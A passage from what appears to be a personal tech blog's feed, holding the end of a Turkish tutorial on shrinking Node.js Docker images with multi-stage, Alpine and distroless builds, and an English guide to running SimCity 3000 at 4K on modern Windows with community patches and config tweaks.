class="k">FROM</span><span class="w"> </span><span class="s">node:22-slim</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">builder</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci <span class="k">COPY</span><span class="w"> </span>.<span class="w"> </span>. <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>run<span class="w"> </span>build <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>prune<span class="w"> </span>--omit<span class="o">=</span>dev <span class="c"># ---- &Ccedil;al&inodot;&scedil;ma A&scedil;amas&inodot; (Runtime) ----</span> <span class="k">FROM</span><span class="w"> </span><span class="s">node:22-slim</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/node_modules<span class="w"> </span>./node_modules <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/dist<span class="w"> </span>./dist <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/package.json<span class="w"> </span>./package.json <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"dist/index.js"</span><span class="p">]</span> </code></pre></div> <p>Burada iki kritik hareket yapt&inodot;k: * <code>npm install</code> yerine <code>npm ci</code> kulland&inodot;k. Bu komut <code>package-lock.json</code> dosyas&inodot;n&inodot; baz al&inodot;r ve &ccedil;ok daha h&inodot;zl&inodot;, tutarl&inodot; bir kurulum sa&gbreve;lar. * <code>npm prune --omit=dev</code> komutuyla derleme bittikten sonra geli&scedil;tirici k&uuml;t&uuml;phanelerini ay&inodot;klad&inodot;k. Sadece bu komut bile <code>node_modules</code> boyutunu yar&inodot; yar&inodot;ya d&uuml;&scedil;&uuml;rd&uuml;.</p> <h2 id="4-adm-katman-onbellegini-dogru-tetiklemek-ayn-boyut-5-kat-hzl-build">4. Ad&inodot;m: Katman &Ouml;nbelle&gbreve;ini Do&gbreve;ru Tetiklemek (Ayn&inodot; boyut, 5 kat h&inodot;zl&inodot; build)<a class="headerlink" href="#4-adm-katman-onbellegini-dogru-tetiklemek-ayn-boyut-5-kat-hzl-build" title="Permanent link">#</a></h2> <p>Bu ad&inodot;m imaj boyutunu k&uuml;&ccedil;&uuml;ltm&uuml;yor ama CI/CD s&uuml;re&ccedil;lerimizi u&ccedil;uracak en kritik taktik budur hac&inodot;. Docker imaj&inodot; katmanlar (layers) halinde in&scedil;a edilir. E&gbreve;er <code>COPY . .</code> komutunu <code>npm ci</code> komutundan &ouml;nce yazarsan&inodot;z, kodunuzdaki tek bir sat&inodot;r de&gbreve;i&scedil;iklik bile Docker &ouml;nbelle&gbreve;ini (cache) ge&ccedil;ersiz k&inodot;lar ve Docker her seferinde y&uuml;zlerce paketi ba&scedil;tan indirmeye &ccedil;al&inodot;&scedil;&inodot;r.</p> <p>Bunu &ouml;nlemek i&ccedil;in yukar&inodot;daki ad&inodot;mda yapt&inodot;&gbreve;&inodot;m&inodot;z gibi &ouml;nce sadece <code>package*.json</code> dosyalar&inodot;n&inodot; kopyalay&inodot;p k&uuml;t&uuml;phaneleri kurmal&inodot;, ard&inodot;ndan kodlar&inodot; kopyalamal&inodot;y&inodot;z:</p> <div class="highlight"><pre><span></span><code><span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci <span class="k">COPY</span><span class="w"> </span>.<span class="w"> </span>. <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>run<span class="w"> </span>build </code></pre></div> <p>Yakla&scedil;&inodot;k 600 ba&gbreve;&inodot;ml&inodot;l&inodot;&gbreve;&inodot; olan projemizde cold build (so&gbreve;uk derleme) s&uuml;resi 94 saniyeyken, bu ufak yer de&gbreve;i&scedil;ikli&gbreve;i sayesinde sadece uygulama kodunu de&gbreve;i&scedil;tirdi&gbreve;imizde build s&uuml;resi 18 saniyeye d&uuml;&scedil;t&uuml;. Her PR'da, her deployda kazan&inodot;lan bu s&uuml;reyi hesap edin!</p> <h2 id="5-adm-calsma-zamannda-alpine-limanna-yanasmak-198-mb-96-mb">5. Ad&inodot;m: &Ccedil;al&inodot;&scedil;ma Zaman&inodot;nda Alpine Liman&inodot;na Yana&scedil;mak (198 MB -&gt; 96 MB)<a class="headerlink" href="#5-adm-calsma-zamannda-alpine-limanna-yanasmak-198-mb-96-mb" title="Permanent link">#</a></h2> <p>Derleme a&scedil;amas&inodot;nda uyumluluk sorunlar&inodot; ya&scedil;amamak i&ccedil;in Debian tabanl&inodot; <code>slim</code> imaj&inodot;n&inodot; kulland&inodot;k. Peki &ccedil;al&inodot;&scedil;ma (runtime) a&scedil;amas&inodot;nda neden Alpine'e ge&ccedil;miyoruz? Derlenmi&scedil; saf JavaScript kodumuz, arkada glibc'ye &ouml;zel k&uuml;t&uuml;phaneler &ccedil;a&gbreve;&inodot;ran C/C++ binary'leri yoksa, i&scedil;letim sisteminin ne oldu&gbreve;una zerre &ouml;nem vermez.</p> <div class="highlight"><pre><span></span><code><span class="c"># ---- builder ----</span> <span class="k">FROM</span><span class="w"> </span><span class="s">node:22-slim</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">builder</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci <span class="k">COPY</span><span class="w"> </span>.<span class="w"> </span>. <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>run<span class="w"> </span>build <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>prune<span class="w"> </span>--omit<span class="o">=</span>dev <span class="c"># ---- runtime ----</span> <span class="k">FROM</span><span class="w"> </span><span class="s">node:22-alpine</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/node_modules<span class="w"> </span>./node_modules <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/dist<span class="w"> </span>./dist <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/package.json<span class="w"> </span>./package.json <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"dist/index.js"</span><span class="p">]</span> </code></pre></div> <p>E&gbreve;er yerel mod&uuml;ller (native modules) kullan&inodot;yorsan&inodot;z ve runtime'da Alpine kullanmak istiyorsan&inodot;z, builder a&scedil;amas&inodot;nda da <code>node:22-alpine</code> taban imaj&inodot;n&inodot; se&ccedil;ip <code>apk add --no-cache python3 make g++</code> komutlar&inodot;yla derleme yapman&inodot;z gerekir.</p> <h2 id="6-adm-sunucuyu-kapatmak-distroless-gecisi-96-mb-78-mb">6. Ad&inodot;m: Sunucuyu Kapatmak: Distroless Ge&ccedil;i&scedil;i (96 MB -&gt; 78 MB)<a class="headerlink" href="#6-adm-sunucuyu-kapatmak-distroless-gecisi-96-mb-78-mb" title="Permanent link">#</a></h2> <p>Geldik i&scedil;in nirvanas&inodot;na. Google'&inodot;n <strong>Distroless</strong> imajlar&inodot;, i&ccedil;inde sadece Node.js &ccedil;al&inodot;&scedil;t&inodot;r&inodot;c&inodot;s&inodot;n&inodot; ve SSL sertifikalar&inodot;n&inodot; bar&inodot;nd&inodot;r&inodot;r. Ne bir kabuk (shell - bash/sh) ne paket y&ouml;neticisi ne de curl gibi ara&ccedil;lar vard&inodot;r. Bu sayede olas&inodot; bir siber sald&inodot;r&inodot;da konteynerin i&ccedil;ine s&inodot;z&inodot;lsa bile &ccedil;al&inodot;&scedil;t&inodot;r&inodot;lacak bir terminal bulunamaz. Boyut da haliyle 78 MB'a kadar geriler.</p> <div class="highlight"><pre><span></span><code><span class="c"># ---- runtime ----</span> <span class="k">FROM</span><span class="w"> </span><span class="s">gcr.io/distroless/nodejs22-debian12</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/node_modules<span class="w"> </span>./node_modules <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/dist<span class="w"> </span>./dist <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/package.json<span class="w"> </span>./package.json <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"dist/index.js"</span><span class="p">]</span> </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Dikkat! Distroless Kullan&inodot;rken Shell Olmaz</p> <p>Distroless imajlar&inodot;nda kabuk (shell) bulunmad&inodot;&gbreve;&inodot; i&ccedil;in <code>docker exec -it konteyner sh</code> komutuyla i&ccedil;eriye ba&gbreve;lan&inodot;p inceleme yapamazs&inodot;n&inodot;z. Hata ay&inodot;klama (debugging) yapman&inodot;z gerekti&gbreve;inde, ayn&inodot; imaj&inodot;n <code>:debug</code> tag'ini i&ccedil;eren versiyonunu kullanabilirsiniz (bu s&uuml;r&uuml;mde Busybox kabu&gbreve;u bulunur). Production ortam&inodot;nda ise g&uuml;venlik kurallar&inodot;na sad&inodot;k kalarak standart distroless ile devam etmelisiniz. Ayr&inodot;ca shell olmad&inodot;&gbreve;&inodot; i&ccedil;in <code>CMD</code> alan&inodot;nda exec formunu kullanmak ve <code>node</code> yazmadan do&gbreve;rudan script yolunu vermek zorunludur.</p> </div> <h2 id="genel-degerlendirme-tablosu">Genel De&gbreve;erlendirme Tablosu<a class="headerlink" href="#genel-degerlendirme-tablosu" title="Permanent link">#</a></h2> <p>Yapt&inodot;&gbreve;&inodot;m&inodot;z iyile&scedil;tirmelerin imaj boyutuna etkisini topluca g&ouml;relim:</p> <table> <thead> <tr> <th style="text-align: left;">A&scedil;ama</th> <th style="text-align: left;">Taban &Idot;maj&inodot;</th> <th style="text-align: left;">&Idot;maj Boyutu</th> <th style="text-align: left;">Tasarruf Oran&inodot;</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;">Ba&scedil;lang&inodot;&ccedil; (Naive)</td> <td style="text-align: left;">node:22</td> <td style="text-align: left;">1.21 GB</td> <td style="text-align: left;">-</td> </tr> <tr> <td style="text-align: left;">1. Slim Base Image</td> <td style="text-align: left;">node:22-slim</td> <td style="text-align: left;">412 MB</td> <td style="text-align: left;">%67</td> </tr> <tr> <td style="text-align: left;">2. .dockerignore</td> <td style="text-align: left;">node:22-slim</td> <td style="text-align: left;">388 MB</td> <td style="text-align: left;">%6</td> </tr> <tr> <td style="text-align: left;">3. Multi-Stage + Prune</td> <td style="text-align: left;">node:22-slim</td> <td style="text-align: left;">198 MB</td> <td style="text-align: left;">%49</td> </tr> <tr> <td style="text-align: left;">4. Katman &Ouml;nbellekleme</td> <td style="text-align: left;">node:22-slim</td> <td style="text-align: left;">198 MB</td> <td style="text-align: left;">(H&inodot;z Kazan&inodot;m&inodot;)</td> </tr> <tr> <td style="text-align: left;">5. Alpine Runtime</td> <td style="text-align: left;">node:22-alpine</td> <td style="text-align: left;">96 MB</td> <td style="text-align: left;">%52</td> </tr> <tr> <td style="text-align: left;">6. Distroless Ge&ccedil;i&scedil;i</td> <td style="text-align: left;">distroless/nodejs22</td> <td style="text-align: left;">78 MB</td> <td style="text-align: left;">%19</td> </tr> </tbody> </table> <p>G&uuml;n&uuml;n sonunda <strong>%94 oran&inodot;nda bir hafifleme</strong> elde ettik hac&inodot;. &Idot;maj tam 15 kat k&uuml;&ccedil;&uuml;ld&uuml;.</p> <h2 id="neleri-tercih-etmedik">Neleri Tercih Etmedik?<a class="headerlink" href="#neleri-tercih-etmedik" title="Permanent link">#</a></h2> <p>Baz&inodot; platformlarda s&inodot;kl&inodot;kla &ouml;nerilen ancak karma&scedil;&inodot;kl&inodot;&gbreve;&inodot; art&inodot;rd&inodot;&gbreve;&inodot; i&ccedil;in bizim listeye almad&inodot;&gbreve;&inodot;m&inodot;z y&ouml;ntemler de var:</p> <ul> <li><strong>docker-slim:</strong> &Idot;maj&inodot; dinamik olarak analiz edip k&uuml;&ccedil;&uuml;lten harika bir ara&ccedil;t&inodot;r. Ancak production ortam&inodot;nda uygulaman&inodot;n nadiren u&gbreve;rad&inodot;&gbreve;&inodot; bir kod blo&gbreve;undaki ba&gbreve;&inodot;ml&inodot;l&inodot;&gbreve;&inodot; gereksiz g&ouml;r&uuml;p silebilir. Canl&inodot;da hata ay&inodot;klamak hi&ccedil; keyifli olmuyor.</li> <li><strong>pkg veya nexe:</strong> Uygulamay&inodot; tek bir binary haline getirir. Ancak Node.js s&uuml;r&uuml;m&uuml;n&uuml; dondurur ve dinamik import yap&inodot;lar&inodot;n&inodot; bozar. E&gbreve;er static binary esnekli&gbreve;i istiyorsan&inodot;z Node.js yerine Go veya Rust yazmal&inodot;s&inodot;n&inodot;z.</li> <li><strong>scratch:</strong> Teoride harika ama pratikte SSL sertifikalar&inodot;, zaman dilimi verileri (tzdata) ve DNS &ccedil;&ouml;z&uuml;mleyicileriyle bir hafta sava&scedil;man&inodot;za sebep olur. Distroless t&uuml;m bu zahmeti ortadan kald&inodot;r&inodot;yor.</li> </ul> <p>Siz de kendi projelerinizde bu ad&inodot;mlar&inodot; uygulayarak sunucular&inodot; rahatlatabilir, CI/CD boru hatlar&inodot;n&inodot; h&inodot;zland&inodot;rabilirsiniz.</p> <p>Hadi kal&inodot;n sa&gbreve;l&inodot;cakla!</p> <hr/> <h3 id="laboratuvardan-diger-notlar">🔗 Laboratuvardan Di&gbreve;er Notlar<a class="headerlink" href="#laboratuvardan-diger-notlar" title="Permanent link">#</a></h3> <p>Sistemleri kurcalarken, sunucu performans&inodot;n&inodot; art&inodot;r&inodot;rken ve konteynerleri hafifletirken i&scedil;inize yarayacak di&gbreve;er yaz&inodot;lar&inodot;m da &scedil;urada:</p> <ul> <li><a href="/arch-linux-docker-kurulumu/">Arch Linux'ta Docker Kurulumu &ndash; Ad&inodot;m Ad&inodot;m Rehber</a></li> <li><a href="/linux-tcp-tuning-node-js-microservices/">Node.js Mikroservisleri &Idot;&ccedil;in Linux TCP Tuning ve Kernel Ayarlar&inodot;</a></li> <li><a href="/raspberry-pi-zero-ram-diskless-web-server/">Diskleri &Ccedil;&ouml;pe At&inodot;n: Raspberry Pi Zero ile RAM &Uuml;st&uuml;nde Site Bar&inodot;nd&inodot;rmak</a></li> <li><a href="/pelican-statik-site-playwright-test/">Pelican Statik Sitenizi Playwright ile Test Edin</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Musl libc ile glibc aras&inodot;ndaki mimari farklar, &ouml;zellikle C/C++ ba&gbreve;&inodot;ml&inodot;l&inodot;&gbreve;&inodot; olan Node.js paketlerinin derleme a&scedil;amas&inodot;nda veya &ccedil;al&inodot;&scedil;ma zaman&inodot;nda (runtime) beklenmedik hatalar vermesine yol a&ccedil;abilir.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-29T03:52:00+03:002026-05-29T03:52:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-29:/en/simcity-3000-4k-modern-sistem-kurulumu/

<p>I'm explaining step-by-step how to run the legendary game SimCity 3000 on modern Windows 10 and Windows 11 systems with 4K resolution support, smooth mouse acceleration, and complete music.</p>

<p>To me, SimCity 3000 is the best city-building game ever, my friend. It's a souped-up version of the SimCity 2000 engine, made to be a beast. Those pixel-perfect isometric graphics, that perfect gameplay balance that doesn't overwhelm but also doesn't make you feel like a kid, and of course, that amazing jazz/new-age soundtrack...</p> <p>Recently, while rummaging through my archives, I stumbled upon the Scholastic Edition CD I got from a book fair back in elementary school (you know, those fairs held in the gymnasium of our old, demolished elementary school). The CD was dusty but still in one piece. "Screw it," I thought, "why would I shell out money again on GOG or Steam for the same game?" I immediately grabbed my test system, a Windows 10 LTSC rig with a Ryzen 5 3600 and an RX 7600, and popped in the CD. The installation went smoothly, but when I launched the game, I was hit with a reality check from 1999:</p> <ul> <li>Forget widescreen support; we're counting pixels at 800x600 resolution.</li> <li>Scrolling around the map causes the game to stutter like crazy, or the mouse speed goes into lightspeed and flies off the screen.</li> <li>Those beautiful tunes don't play once the city loads.</li> <li>The music doesn't play without the CD, and the tracks that do play are incomplete.</li> <li>When scrolling the map, some frames stay as gray boxes for a few seconds before loading.</li> </ul> <p>For the sake of the old days, I rolled up my sleeves. If you, like me, want to play this legend fluently on your modern 4K monitor, here are the steps I'm laying out in the order I tested them.</p> <p><img alt="SimCity 3000 in 4K Resolution" src="/images/simcity-3k-4k.png"/></p> <p>Look at that beauty, my friend. SimCity 3000 shines in 4K resolution! I built skyscrapers directly without even laying down a hospital or fire station; we like to challenge fate.</p> <h2 id="escaping-the-cd-hassle-and-blocky-screen-shackles-gog-patch">Escaping the CD Hassle and Blocky Screen Shackles (GOG Patch)<a class="headerlink" href="#escaping-the-cd-hassle-and-blocky-screen-shackles-gog-patch" title="Permanent link">#</a></h2> <p>Running the game with the original CD is a thing of the past, my friend. To avoid the insert/eject routine and give the game widescreen capabilities, our first step is to download the patch file prepared by the GOG team.</p> <ul> <li><strong>Files at our fingertips:</strong> You can download the patch from the <a href="https://support.gog.com/hc/en-us/articles/360018687573-Simcity-3000-Unlimited-widescreen-support?product=gog" rel="noopener noreferrer" target="_blank">GOG Official Support Page</a> or directly from this <a href="https://files.catbox.moe/25e7rj.zip" rel="noopener noreferrer" target="_blank">Alternative Catbox Mirror</a>. (MD5 for file verification: <code>638eb5b3e7de9ada9b61a1ea40d276a4</code>)</li> </ul> <p>Overwrite the original executable file in your game's installation folder with the one from the downloaded archive. This process eliminates the CD check and opens the door for widescreen resolutions. But a word of caution: increasing the resolution will mess with mouse sensitivity, which we'll fix in the next step.</p> <h2 id="taming-the-wild-mouse-mouse-sensitivity-adjustment">Taming the Wild Mouse (Mouse Sensitivity Adjustment)<a class="headerlink" href="#taming-the-wild-mouse-mouse-sensitivity-adjustment" title="Permanent link">#</a></h2> <p>When you switch to a higher resolution, the in-game mouse acceleration increases so much that you'll find yourself at the edge of the map when you just wanted to scroll a centimeter. The solution lies in the game's configuration file.</p> <p>Navigate to your game's installation directory and find the <code>SC3U.ini</code> file. Open it with your favorite text editor and update the value under the <code>[Navigation]</code> heading as follows:</p> <div class="highlight"><pre><span></span><code><span class="k">[Navigation]</span> <span class="na">ScrollMarginFactor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">0.005787</span> </code></pre></div> <p>If you downloaded the game from Steam, this file might not be in the folder<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. No need to panic; create a new plain text file yourself, name it <code>SC3U.ini</code>, and paste the lines above into it before saving.</p> <h2 id="persuading-the-graphics-card-on-a-4k-monitor-d3d-wrapper-solution">Persuading the Graphics Card on a 4K Monitor (D3D Wrapper Solution)<a class="headerlink" href="#persuading-the-graphics-card-on-a-4k-monitor-d3d-wrapper-solution" title="Permanent link">#</a></h2> <p>Since my monitor runs at a native 3840x2160 resolution, the graphics got messed up when I tried to run the game at this resolution. Modern graphics cards (DirectX 11 and above) can't properly interpret these old Direct3D calls. To fix the visual distortion and make the game compatible with your graphics card, we absolutely need to insert a Direct3D wrapper.</p> <ul> <li><strong>Package to download:</strong> <a href="https://community.pcgamingwiki.com/files/file/3171-simcity-3000-compatibility-fixes-dxwrapper-alternative/" rel="noopener noreferrer" target="_blank">PC Gaming Wiki</a> or <a href="https://files.catbox.moe/y7xs3y.zip" rel="noopener noreferrer" target="_blank">Alternative Catbox Mirror</a> (MD5: <code>e97d0989cab120608800f2e3395581a7</code>)</li> </ul> <p>Download this package and extract all the files inside to your game's <code>Apps</code> folder.</p> <div class="admonition warning"> <p class="admonition-title">Warning! Don't Let the Windows Taskbar Ruin Your Gaming Experience</p> </div> <p>This wrapper, by default, attempts to launch the game in borderless windowed mode. Consequently, the Windows taskbar pushes the game down, messing up the alignment. To prevent this, open the <code>dxwrapper.ini</code> file in the <code>Apps</code> folder and make the following adjustments:</p> <div class="highlight"><pre><span></span><code><span class="w"> </span><span class="k">[d3d9]</span> <span class="w"> </span><span class="na">EnableWindowMode</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">0</span> <span class="w"> </span><span class="na">...</span> <span class="w"> </span><span class="k">[FullScreen]</span> <span class="w"> </span><span class="na">FullScreen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">1</span> </code></pre></div> <p>This way, the game will start in true fullscreen mode, and you won't have to deal with the taskbar.</p> <h2 id="eliminating-gray-gaps-on-the-map-4gb-patch">Eliminating Gray Gaps on the Map (4GB Patch)<a class="headerlink" href="#eliminating-gray-gaps-on-the-map-4gb-patch" title="Permanent link">#</a></h2> <p>It's annoying when some frames on the map first appear as gray/faded boxes and then load a few seconds later, my friend. Since the game is written with a 32-bit architecture, it can't efficiently utilize the massive amounts of RAM in modern systems. We'll apply the 4GB patch to give the game some breathing room.</p> <ul> <li><strong>Get the patch:</strong> <a href="https://ntcore.com/4gb-patch/" rel="noopener noreferrer" target="_blank">NTCore 4GB Patch</a></li> </ul> <p>Download and run the tool, then select the <code>SC3K.exe</code> (or <code>SC3U.exe</code>)<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> file that we modified and patch it. I haven't scientifically tested this, but I can say it slices through the problem of delayed graphics when quickly scrolling the map like a knife through butter.</p> <h2 id="that-endless-waiting-issue-at-startup">That Endless Waiting Issue at Startup<a class="headerlink" href="#that-endless-waiting-issue-at-startup" title="Permanent link">#</a></h2> <p>The game freezing for minutes or running extremely slowly when you first launch it is entirely related to EA/Maxis's update servers back then. The game tries to connect to an update server that's now a graveyard, and it waits as it gets no response. To disable this nonsense, we'll use a fake configuration file.</p> <ul> <li><strong>Download the setting:</strong> <a href="https://community.simtropolis.com/omnibus/other-games/simcity-3000-unlimited-performance-problems-maxis-r329/" rel="noopener noreferrer" target="_blank">Simtropolis</a> or <a href="https://files.catbox.moe/cewlvf.zip" rel="noopener noreferrer" target="_blank">Alternative Catbox Mirror</a> (MD5: <code>e01ec9e7568560f493ff4cbbebb0e3d4</code>)</li> </ul> <p>Rename the file extracted from the downloaded zip to <code>UpdateSettings.ini</code>. Then, navigate to the <code>Apps/Updater</code> directory in your game folder and overwrite the existing file. When you launch the game, you'll see that minutes-long freeze is a thing of the past.</p> <h2 id="listening-to-nostalgic-jazz-melodies-without-a-cd">Listening to Nostalgic Jazz Melodies Without a CD<a class="headerlink" href="#listening-to-nostalgic-jazz-melodies-without-a-cd" title="Permanent link">#</a></h2> <p>The game just isn't the same without SimCity 3000's incredible music. In the Unlimited version, some music tracks aren't listed in the <code>.ini</code> file, so even if the files are in the folder, they won't play in the game.</p> <ul> <li><strong>Music List Patch:</strong> <a href="https://community.pcgamingwiki.com/files/file/2415-simcity-3000-unlimited-re-composed/" rel="noopener noreferrer" target="_blank">PC Gaming Wiki</a> or <a href="https://files.catbox.moe/msx1jh.7z" rel="noopener noreferrer" target="_blank">Alternative Catbox Mirror</a> (MD5: <code>5877e363565850306131e564e364481c</code>)</li> </ul> <p>Extract this package directly into the game's main directory.</p> <div class="admonition tip"> <p class="admonition-title">Tip ⚡ Moving Music Files from CD to HDD</p> <p>If you installed the game from a physical CD like I did, the installation wizard won't copy the music to your computer. Go into the <code>APPS/RES/SOUND/MUSIC</code> folder on the CD and copy all the <code>.xa</code> files from there to the same folder where your game is installed on your computer. This way, you can enjoy the music without your CD drive making noise.</p> </div> <h2 id="what-about-those-using-windows-11">What About Those Using Windows 11?<a class="headerlink" href="#what-about-those-using-windows-11" title="Permanent link">#</a></h2> <p>I tested these settings on my Windows 10 LTSC 2021 test computer and got fantastic results. My loyal followers know I don't go near Windows 11 on my home systems. However, based on the feedback I've received, those who have applied these steps on Windows 11 have also started managing their cities without issues. Especially those using ultrawide monitors (like 5120x2160) have managed to run the game in full compatibility even on massive screens with the wrapper's help.</p> <p>Now, you owe me a thank you when you're watching the smoking factories of the city you built with your own hands, meticulously calculating its budget.</p> <p>Stay well, everyone!</p> <hr/> <h3 id="other-notes-from-the-lab">🔗 Other Notes from the Lab<a class="headerlink" href="#other-notes-from-the-lab" title="Permanent link">#</a></h3> <p>Here are some of my other articles that might come in handy when tinkering with systems and diving deep into games:</p> <ul> <li><a href="/en/linux-space-cadet-pinball-kurulumu/">A Breath of Nostalgia on Linux: Space Cadet Pinball and Those Secret Mornings</a></li> <li><a href="/en/forza-horizon-6-fh201-hatasi-cozumu/">Playing Forza Horizon 6 with the Old RX 480 (FH201 Error Guaranteed Fix)</a></li> <li><a href="/en/lutris-installed-file-impact-ttf-not-found-cozumu/">Lutris's Stubbornness with impact.ttf and the Fix for That Annoying Return Code 256 Error</a></li> <li><a href="/en/linux-oyunlara-turkce-yama-kurulumu/">Installing Turkish Language Patches for Linux Games</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>The <code>SC3U.ini</code> file might not be present by default in Steam installations. In such cases, it's sufficient to create a new text document in the game's main folder (in the Apps directory), name it <code>SC3U.ini</code>, and enter these lines into it.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>This 4GB patch, developed by NTCore, allows 32-bit applications to address 4GB of virtual memory instead of 2GB on 64-bit operating systems. This also helps prevent crashes caused by memory overflows.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-29T03:52:00+03:002026-05-29T03:52:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-29:/simcity-3000-4k-modern-sistem-kurulumu/

<p>Efsane oyun SimCity 3000'i modern Windows 10 ve Windows 11 sistemlerde, 4K çözünürlük desteği, pürüzsüz mouse ivmesi ve eksiksiz müzikleriyle nasıl çalıştıracağımızı adım adım anlatıyorum.</p>

<p>Bana g&ouml;re gelmi&scedil; ge&ccedil;mi&scedil; en iyi &scedil;ehir kurma oyunu SimCity 3000'dir hac&inodot;. SimCity 2000 motorunun makyajlan&inodot;p canavar gibi yap&inodot;lm&inodot;&scedil; bir versiyonudur o. Piksel piksel i&scedil;lenmi&scedil; izometrik &ccedil;izimleri, insan&inodot; bo&gbreve;mayan ama &ccedil;ocuk yerine de koymayan o m&uuml;kemmel oynan&inodot;&scedil; dengesi ve tabii ki o &scedil;ahane caz/new-age tarz&inodot;ndaki m&uuml;zikleri...</p> <p>Ge&ccedil;enlerde ar&scedil;ivimi kar&inodot;&scedil;t&inodot;r&inodot;rken elime ilkokuldaki kitap fuar&inodot;ndan (hani &scedil;u y&inodot;k&inodot;lan eski ilkokulumuzun spor salonunda kurulan o fuarlar olurdu ya) ald&inodot;&gbreve;&inodot;m Scholastic Edition CD'si ge&ccedil;ti. CD tozlanm&inodot;&scedil; ama sapasa&gbreve;lam duruyor. Ulan dedim, GOG'a ya da Steam'e gidip ayn&inodot; oyuna neden bir daha para bay&inodot;lay&inodot;m? Hemen &ccedil;ektim bizim Ryzen 5 3600'l&uuml;, RX 7600'l&uuml; Windows 10 LTSC test sistemini, takt&inodot;m CD'yi. Kurulum t&inodot;k&inodot;r t&inodot;k&inodot;r bitti ama oyunu a&ccedil;&inodot;nca resmen 1999 y&inodot;l&inodot;ndan kalma bir tokat yedim:</p> <ul> <li>Geni&scedil; ekran (widescreen) deste&gbreve;i hak getire, 800x600 &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;kte piksel say&inodot;yoruz.</li> <li>Haritada gezinirken (scrolling) oyun deli gibi kas&inodot;yor ya da fare adeta &inodot;&scedil;&inodot;k h&inodot;z&inodot;na ula&scedil;&inodot;p ekran&inodot;n d&inodot;&scedil;&inodot;na ka&ccedil;&inodot;yor.</li> <li>&Scedil;ehir y&uuml;klendikten sonra o can&inodot;m m&uuml;zikler &ccedil;alm&inodot;yor.</li> <li>CD olmadan m&uuml;zikler &ccedil;alm&inodot;yor, &ccedil;alanlar da eksik.</li> <li>Haritada gezerken de baz&inodot; kareler birka&ccedil; saniye gri kutu olarak kal&inodot;p sonradan y&uuml;kleniyor.</li> </ul> <p>Eski g&uuml;nlerin hat&inodot;r&inodot;na kollar&inodot; s&inodot;vad&inodot;m. E&gbreve;er siz de benim gibi bu efsaneyi modern 4K monit&ouml;r&uuml;n&uuml;zde ak&inodot;c&inodot; bir &scedil;ekilde oynamak istiyorsan&inodot;z, uygulayaca&gbreve;&inodot;n&inodot;z ad&inodot;mlar&inodot; kendi test etti&gbreve;im s&inodot;rayla &scedil;uraya b&inodot;rak&inodot;yorum.</p> <p><img alt="SimCity 3000 4K &Ccedil;&ouml;z&uuml;n&uuml;rl&uuml;kte" src="/images/simcity-3k-4k.png"/></p> <p>G&ouml;r&uuml;n&uuml;&scedil;e baksana hac&inodot;, 4K &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;kte SimCity 3000 adeta parl&inodot;yor! Hastane veya itfaiye kurmadan do&gbreve;rudan g&ouml;kdelen diktim; kadere meydan okumay&inodot; severiz.</p> <h2 